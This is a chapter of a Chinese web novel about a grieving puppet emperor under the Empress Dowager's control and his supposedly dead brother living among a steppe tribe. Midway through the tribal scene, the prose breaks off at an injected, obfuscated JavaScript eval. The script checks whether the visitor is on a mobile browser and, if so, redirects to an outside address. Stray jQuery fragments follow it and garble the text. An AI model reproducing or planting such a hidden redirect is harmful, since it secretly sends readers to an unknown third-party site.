12.第 12 章

    崇光帝退位,李秋旭登基。


    李秋旭记得那是个槐花将落未落的暮春。


    七岁的他踮脚扒着朱红宫墙,看十五岁的皇兄单手一撑就翻上墙头。


    玄色衣袂扫落一串雪白槐花,有几瓣沾在兄长玉冠上,像缀了星子。


    “阿旭抓紧。”李绥清拉着他的手。


    瓦片在脚下发出细碎声响。


    李秋旭突然踩空半寸,被兄长一把拎住后领。


    风里飘来西市胡姬的琵琶声,混着皇兄袖中清冽的沉水香。


    “殿下好雅兴。”


    宫灯骤亮时,李秋旭吓得差点咬到舌头。


    太傅铁青的脸映在火光里,手里戒尺闪着冷光。他下意识往兄长身后躲,却听见“啪”的一声——戒尺重重落在李绥清掌心。


    “是学生带阿旭出来的。”皇兄跪得笔直,摊开的掌心已泛起红痕,“太傅要罚,罚我便是。”


    槐花簌簌落在李绥清肩头。


    李秋旭看见兄长背在身后的手对他比了个手势让他跑。


    “一。”


    太傅的戒尺再次扬起。


    “二。”


    李秋旭的眼泪砸在宫砖上。


    “三!”


    他踉跄跑出几步回头时,皇兄仍跪在满地槐花里,衣袖被夜风吹得猎猎作响,像幅被月光洗旧的水墨画。


    那天藏在怀里的糖人化了半边。


    李秋旭蹲在宫道阴影里,看太傅的板子一下下落在兄长背上。


    直到更漏响过三声,李绥清才撑着宫墙慢慢站起来,转身时对他眨了眨眼。


    “下次带你看真正的胡旋舞。”


    如今李秋旭站在金銮殿上,肩头龙纹重若千钧。


    北疆战报在掌心攥出褶皱,梦终于醒了。


    ……


    “陛下?”


    福安捧着茶候了多时。


    兄长丧期还未过。


    李秋旭从小就愚钝,太傅教他写字的时候,他连平整的一横都要写数百遍,算数更是算得昏天黑地,气得太傅袖子一甩就走了。


    和他兄长不同,李绥清从小就是太傅的心头好,勤学好问,八岁写的诗就能被那些个文人雅客夸上天。


    好像他哥哥从来都很优秀,而他一直被兄长的光辉笼罩着,没人敢拿他跟他的兄长对比,但他知道那些势利眼一直看不起他。


    李秋旭不在乎,因为他的算数是他哥教的,他的策论是他哥写的,背错《论语》被罚跪时,他哥给他膝盖底下塞俩馒头。


    曾经那个教他握笔,教他背书,代他罚抄的哥哥,现在变成了冰冷冷的碑。


    李秋旭觉得委屈,太后连他哥最后一面都不让他见,也不让他哭。


    连福安都是他求太后求了很久才带过来的。


    有时候盈了眼眶的眼泪挂不住,李秋旭就拿衣袖按住眼底,让眼泪落在袖子里,晕染开来。


    绣着云龙暗纹的绸缎有些糙,在脸上擦多了,擦得李秋旭眼底又红又疼。


    ……


    御案上的奏折堆得摇摇欲坠,朱笔悬在指尖,墨汁将落未落,在雪白的纸面上洇开一团刺目的红。


    李秋旭盯着那团红晕发呆,恍惚间仿佛看到了兄长咽气时唇边溢出的鲜血。


    “陛下。”


    裴太后的声音从珠帘后传来,温柔而轻和。


    李秋旭指尖一颤,朱笔“啪”地跌在奏折上,污了整整一页江南水患的急报。


    他慌忙去擦,袖口却带翻了砚台,墨汁泼洒,在龙袍下摆染出大片狰狞的漆黑。


    “哀家的小祖宗,怎么这般不小心。”


    珠帘叮咚,一双染着蔻丹的手伸来,慢条斯理地替他拢好衣襟。


    裴太后指尖掠过他喉结,保养得宜的指甲不经意间刮过皮肤,激起一阵颤抖。


    “陇西节度使的折子,陛下看了三刻钟。”她抽走染污的奏章,蔻丹在“军饷”两个字上点了点,“可是有什么难处?”


    李秋旭盯着她袖口繁复的金线鸾纹,那鸾鸟的眼睛竟是用红宝石镶的,血一般刺目。


    “儿臣......觉得军饷数目有些......”


    “陛下。”裴太后突然掐住他下巴,力道温柔得像在逗弄狸奴,“你父皇在时,最不喜优柔寡断之人。”她指尖下滑,轻轻拍了拍他脸颊,“你说,是不是?”


    殿角的更漏滴答作响。


    李秋旭缩在龙椅上的影子,活像个裹着明黄绸缎的稻草人。


    他嚅嗫着点头,后颈渗出冰凉的汗。


    “这才乖。”裴太后笑着抽走他手中朱笔,就着他的手在奏折上批了个“准”字,“秋猎在即,陛下该练练骑射了。哀家的弟弟特意从西域寻了匹温顺的小马......”


    窗外的梧桐突然扑簌簌落下几片黄叶。


    李秋旭盯着其中一片飘进殿内,正落在裴太后华丽的裙摆上,就像当年落在皇兄肩头的槐花。


    “儿臣......谢母后关怀。”


    他低头盯着自己交叠的双手,指甲深深陷进掌心。


    那里本该有握弓磨出的茧,如今只剩朱砂染红的、傀儡该有的柔软。


    ……


    李绥清和桑吉掀开帐帘时,松墨混着炭火气扑面而来。


    桑吉父亲斜倚在狼皮褥子上,枯瘦的手指正摩挲着把镶绿松石的短刀,许久未见的老萨满在旁边捣鼓着药粉。


    这短刀正是当年二叔行冠礼时,老酋长亲手所赠。


    如今被从火堆里刨出来。


    “阿爹。”桑吉将李绥清往前轻推,“这就是替女儿在中原寻得的画师。”


    烛火“噼啪”爆开一朵灯花。


    老酋长浑浊的眼珠缓缓转动,目光掠过李绥清指间未洗净的靛蓝颜料,在那截断刃改造的画笔上顿了顿。


    “坐。”


    毡毯上突然掷来卷残破的《雪山狩猎图》,堪堪滚到李绥清靴边。


    多吉抱臂冷笑:“画师?我看是只会描鬼符的酸儒。”


    桑吉的红袖拂过砚台:“阿兄的箭囊图腾可补好了?昨日巡防队说西麓岩画......”


    “够了。”老酋长突然咳嗽,咳出的血沫溅在残卷上,殷开一片血红,“二长老的残部,退到何处了?”


    李绥清忽俯身执笔,蘸着咳出的血在残卷续画:“往北三十里,鹰愁涧。”朱砂混着血水勾勒出嶙峋山势,“但三日前春雷劈断狼首岩,如今涧水倒灌......”


    帐内死寂。


    老酋长的手背青筋暴起,短刀“当啷”劈裂砚台:“中原人倒是清楚我族地形。”


    “阿爹!”桑吉的银刀鞘突然架住飞溅的墨点,“二叔能绕过圣山哨卡,靠的不就是裴家仿制的祭祀岩画?”


    “……”


    桑吉翡翠耳坠


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240546|164985||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    晃过李绥清手中的血墨笔:“这位画师连裴琰伪造的《千机阵图》都能识破。”


    “罢了……阿妈见过他了?”老酋长缓缓道。


    “见过见过,祖母可喜欢!”桑吉连忙接话。


    “我看是你可喜欢!”老酋长皱皱眉,声音一大又开始咳嗽。


    李绥清:“……”装作没听见。


    “既如此,尊贵的客人该接受草原的祝福。”老酋长拍碎酒樽,琥珀色的酒液顺着虎口滴落,“三日后的叼羊大会,请贤婿与各部勇士同场竞技。就让长生天见证一下贤婿的能力!”


    “阿爹!他怎么成贤婿了!”桑吉嚷嚷。


    “怎么?他连贤德都做不到?”


    “阿爹!”


    “阿爹累了,就这样定下!”老酋长招招手,被子一盖就闭眼躺下了。


    帐外风声呜咽,老酋长最后瞥了眼李绥清腰间的匕首。


    它本该插在某个酋长之子的腰带上,现在却别在中原人的锦缎之间,在落日下泛着陌生的寒光。


    回帐的路上两人一路无话,李绥清感觉桑吉有话要说,但又不好开口,于是回到帐中,李绥清试探着开口:“明珠……”


    帐内酥油灯将熄未熄,桑吉反手甩落帘上积雪,鎏金烛台映得她耳畔珊瑚珠似滴血。


    李绥清正欲解下染雪的狐裘,忽被她扯住绦带,力道大得将他拽得踉跄半步。


    “老头子的话,当是北风过耳。”桑吉指尖掠过他冻红的耳垂,借着整理衣襟的由头,将暖玉药囊塞进他心口暗袋,“死老头什么话都往外说......”


    话音未落,毡毯下突然拱起个鼓包。


    达瓦顶着一头草屑钻出,怀里还抱着偷吃的羊腿:“姐夫你评评理!雪狼王能有你半分俊......唔!”


    诺布的铁臂自帐梁翻下,牛皮绳快如闪电地缠住达瓦的嘴。


    少年护卫被倒提起来时,鹿皮靴还踢翻了药炉,飞溅的炭星子正巧点燃李绥清半截袖角。


    “继续闹。”桑吉抄起银刀鞘拍灭火星,刀柄密宗经文烙在达瓦额间,“明日你就跟着诺布去铲马粪。”


    诺布拍了拍达瓦的屁股,单手扛起挣扎的达瓦往外退。


    小护卫被捆成粽子还不安分,冲李绥清疯狂眨眼。


    帐帘将合时,忽听得诺布闷雷似的咕哝:“真要当姐夫......得先过我的摔跤关。”


    李绥清:“……”


    夜风卷着这句尾音扑进来,惊得酥油灯彻底灭了。


    黑暗中桑吉的银甲撞上药柜,粗重的呼吸声交杂,桑吉扶着李绥清的腰时摸到满手柔软。


    “明珠殿下……”李绥清呼吸不稳。


    两人交叠的影子里,森格的碧眼在帐外忽闪,叼走了达瓦遗落的米糕。


    “……怎么?”桑吉的声音有些哑,带着魅惑。


    “明珠的手下......”李绥清喉结动了动,指尖还沾着她颈间防冻的雪莲膏。


    “比中原的老狐狸可爱多了?”桑吉忽然咬开酒囊塞子,清冽的酒液顺着下颌滑落,正滴在李绥清未愈的伤口上。


    “明日去看他俩掏马粪,记得把达瓦踹进冰泉醒醒脑。”


    更漏声里,诺布教训达瓦的闷响混着雪豹的低吼,渐渐化入呼啸的北风。


    帐内新燃的藏香腾起青烟,恍惚间勾出个歪扭的“囍”字,又被桑吉挥刀劈散。